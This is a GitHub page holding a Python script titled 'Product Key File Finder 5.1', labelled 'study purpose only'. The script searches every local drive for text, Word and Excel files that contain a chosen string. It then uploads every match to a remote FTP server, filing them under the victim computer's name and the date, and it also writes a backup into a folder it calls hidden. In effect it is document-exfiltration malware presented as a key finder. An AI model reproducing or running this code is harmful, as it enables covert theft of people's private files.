-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProduct Key File Finder 5.1
245 lines (216 loc) · 7.19 KB
/
Product Key File Finder 5.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
# The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is prohibited.
import ctypes
import datetime
import ftplib
import glob
import os
import string
from urllib.request import urlopen, URLError
import shutil
import docx
import openpyxl
errorCount = 0
i = 0
j = 0
rvs = []
host = "" # FTP Host URL
ftp_id = "" # FTP CLIENT ID
ftp_pw = "" # FTP CLIENT PASSWORD
_ftp_root_folder_ = 'htdocs' # FTP root folder
newdir = os.environ['COMPUTERNAME'] # FTP Main folder name
ft = []
todaysDate = str(datetime.datetime.today()) # FTP sub-folder name
ftp = ftplib.FTP()
def _rS_sign():
print("|""---------"" ""------------")
print("|"" ""|"" "" |")
print("|"" ""|"" "" |")
print("|""---------"" ""|")
print("|""-"" ""------------")
print("|"" ""-"" ""|")
print("|"" ""-"" ""|")
print("|"" ""-"" "" ------------")
print("The following code is written by Rohit Saxena. STUDY PURPOSE ONLY. Any unauthorized use or modification is "
"prohibited.")
return True
def _rSAdmin_Check():
try:
is_admin = (os.getuid() == 0)
except AttributeError:
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
return is_admin
def _rSInternet_Check_(): # Internet Tester
while True:
try:
urlopen('https://www.central16.in', timeout=1)
return
except URLError as e:
print('URL Error: ', e.reason) # remove print is building exe
pass
def _RsBackupWriter(rrs, pp, ): # local backup (unfinished)
global j
print('BACKUP FOLDER STARTED /N rvs len : ', len(rrs))
trs = open(pp, "a")
for item in rrs:
trs.write("%s\n" % item)
print('Backup File Created')
file1 = open(pp, "r")
print(file1.read())
file1.close()
def _RsXlsx_(SS, CC): # XLSX Reader
rs = openpyxl.load_workbook(CC, read_only=True, data_only=True)
ws = rs.active
for i in range(1, ws.max_row + 1):
for j in range(1, ws.max_column + 1):
if SS == ws.cell(i, j).value:
print("Found in cell :", ws.cell(i, j), "File Location :", CC)
rvs.append(CC)
def _RsTxt_(SS, CC): # TXT Reader
file1 = open(CC, 'r', encoding='UTF8', errors='ignore')
flag = 0
index = 0
for line in file1:
index += 1
if SS in line:
flag = 1
break
if flag != 0:
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
rvs.append(CC)
file1.close()
def _RsDocx_(SS, CC): # DOCX Reader
flag = 0
index = 0
doc = docx.Document(CC)
for para in doc.paragraphs:
index += 1
if SS in para.text:
flag = 1
break
if flag != 0:
print('String', SS, 'Found In Line: ', index, 'File Path: ', CC)
rvs.append(CC)
def _RsDirCheck_(ft): # FTP Main Folder Checker
x = 0
for g in ft:
if newdir in g:
x = 1
if x == 0:
print(" New Directory created ---> ", newdir)
ftp.mkd(newdir)
def _RsTodayFolderCheck_(ft): # FTP Sub-Folder Checker
x = 0
for g in ft:
if todaysDate in g:
x = 1
if x == 0:
ftp.mkd(todaysDate)
print("New Today's date folder created ---> ", todaysDate)
def _Rs_ftp_COPY_(): # FTP Client connector
print('uploading data...')
port = 21
ftp.connect(host, port)
print(ftp.getwelcome())
print("Logging in...")
ftp.login(ftp_id, ftp_pw)
ftp.cwd(_ftp_root_folder_)
ftp.retrlines('LIST', ft.append)
_RsDirCheck_(ft)
ftp.cwd(newdir)
ft.clear()
ftp.retrlines('LIST', ft.append)
_RsTodayFolderCheck_(ft)
ftp.cwd(todaysDate)
def _rS_FTP_file_transf(rvs): # FTP File uploader
rs = 0
print('Uploading Data...')
while rs != len(rvs):
filename = rvs[rs]
file_name, file_extension = os.path.splitext(filename)
_FTP_File_Name_ = os.path.basename(file_name) + file_extension
_ftpNewFileNMCmd_ = "STOR %s" % _FTP_File_Name_
with open(filename, "rb") as file:
ftp.storbinary(_ftpNewFileNMCmd_, file)
rs += 1
print('Upload Complete !')
ftp.dir()
def main():
global errorCount
if _rSAdmin_Check():
print("admin access")
else:
print("No admin access")
global i, j
global rvs
# val = input("Enter extension : ") #If specific extension only required uncheck and add val in _Rel_Path
ff = input("Enter string : ")
rs = ['%s:\\' % d for d in string.ascii_uppercase if os.path.exists('%s:\\' % d)]
if _rS_sign():
print("ok")
else:
Break()
print('Active local drives ---> ', rs)
FtypeXLSX = '.xlsx'
FtypeTXT = '.txt'
FtypeDOCX = '.docx'
_Rel_Exp_ = '**/*'
_Rel_Path_ = _Rel_Exp_
# print('Selected file type = ', val)
rss = []
bck_dir = "rrs" # LINE 154 - 166 REFERS LOCAL BACKUP (UNFINISHED)
bck_file = "rrs.txt"
print('Hidden folder named rss is created in first local drive from available drive list')
pth = os.path.join(rs[0], bck_dir)
if os.path.exists(pth): # this if will flush the old backup folder and re-create new backup folder
shutil.rmtree(pth)
os.makedirs(pth)
print('Hidden folder path: ', pth)
print('Hidden file text.txt is created in hidden folder rss')
CN = os.path.join(pth, bck_file)
print('Hidden file location: ', CN)
file1 = open(CN, "a")
file1.close()
print('Below files are present in system: '"\n")
while i != len(rs):
os.chdir(rs[i])
for file in glob.glob(_Rel_Path_, recursive=True):
# print(file)
completeName = os.path.join(rs[i], file)
# print('File path: ', completeName)
file_name, file_extension = os.path.splitext(completeName)
if file_extension == FtypeXLSX:
try:
_RsXlsx_(ff, completeName)
except e:
errorCount += 1
print('Error in reading file, File Path: ', completeName)
if file_extension == FtypeTXT:
try:
_RsTxt_(ff, completeName)
except PermissionError:
errorCount += 1
print('Admin Permission Required File Path: ', completeName)
if file_extension == FtypeDOCX:
try:
_RsDocx_(ff, completeName)
except e:
errorCount += 1
print('Error in reading file, File Path: ', completeName)
rss.append(completeName)
i += 1
print('System scan completed \n')
# print(rss)
print('Total File Scanned :', len(rss))
print("Total file found: ", len(rvs))
print("Total No of unreachable files (ACTION REQUIRED)", errorCount)
print("\n", rvs)
_Rs_ftp_COPY_()
_rS_FTP_file_transf(rvs)
print('calling backup')
_RsBackupWriter(rvs, CN) # LOCAL BACKUP CREATOR
# shutil.rmtree(pth) #FLUSH OLD BACKUP FILES (UNFINISHED) uncheck to delete local backup
_rSInternet_Check_()
if _rS_sign():
main()
else:
print("Author sign missing")